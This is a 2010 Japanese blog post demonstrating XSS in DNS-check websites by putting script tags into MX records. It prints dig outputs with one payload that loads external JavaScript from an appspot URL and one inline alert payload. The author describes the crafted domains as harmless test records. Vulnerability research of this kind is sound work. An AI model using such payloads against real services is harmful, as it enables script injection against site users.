2010年10月7日木曜日

DNSチェックサービスのXSS

こんにちはこんにちは!よしだです。
昨日、DNSの問い合わせ結果にJavaScriptを埋め込むというXSSが紹介されていたので、実験してみました。

Geekなぺーじ : メタ情報によるXSS
http://www.geekpage.jp/blog/?id=2010/10/6/1

このXSSは、DNSのチェックサービスなどでDNSの問い合わせ結果をエスケープせずにHTMLに出力する事でJavaScriptが発動してしまうというものでした。
仕組みは、DNSで可変長文字列を指定するパラメータにJavaScriptを埋め込むというもので、
MXレコード以外にもNSレコードやCNAMEレコードなどでも発生しそうです。
なぜかは知りませんが、 ( や " などはエスケープされるみたいなので、外部スクリプトを呼び出す方法以外はなさそうです。

ちなみに、Bindでは設定エラーとなり起動出来ませんでした。
(今回は、自力でバイナリを生成して返しています。)

キャプチャは元記事で使われていたサイトを使いましたが、日本語で検索してヒットするDNSチェックサービスでもあらかた発生しました。
実験に使ったdns-xss.d.xia.jpとdnsxss.d.xia.jpは、とりあえず登録しっぱなしにしておくので、ご自由にどうぞ。(アラートが出るだけで無害です)



JavaScriptが発動するパターン



# dig dns-xss.d.xia.jp. mx

; <<>> DiG 9.3.6-P1-RedHat-9.3.6-4.P1.el5_4.2 <<>> dns-xss.d.xia.jp. mx
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4753
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;dns-xss.d.xia.jp. IN MX

;; ANSWER SECTION:
dns-xss.d.xia.jp. 86400 IN MX 10 <script/src='http://g-storage.appspot.com/share/root/hello.js'></script>.

;; Query time: 300 msec
;; SERVER: 172.16.0.23#53(172.16.0.23)
;; WHEN: Thu Oct 7 17:51:10 2010
;; MSG SIZE rcvd: 122


JavaScriptが発動しないパターン



# dig dnsxss.d.xia.jp. mx

; <<>> DiG 9.3.6-P1-RedHat-9.3.6-4.P1.el5_4.2 <<>> dnsxss.d.xia.jp. mx
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10946
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;dnsxss.d.xia.jp. IN MX

;; ANSWER SECTION:
dnsxss.d.xia.jp. 86400 IN MX 10 <script>alert\(\"Hello\032DNS\032XSS!\"\)\;</script>.

;; Query time: 371 msec
;; SERVER: 172.16.0.23#53(172.16.0.23)
;; WHEN: Thu Oct 7 17:36:01 2010
;; MSG SIZE rcvd: 90

0 件のコメント:

コメントを投稿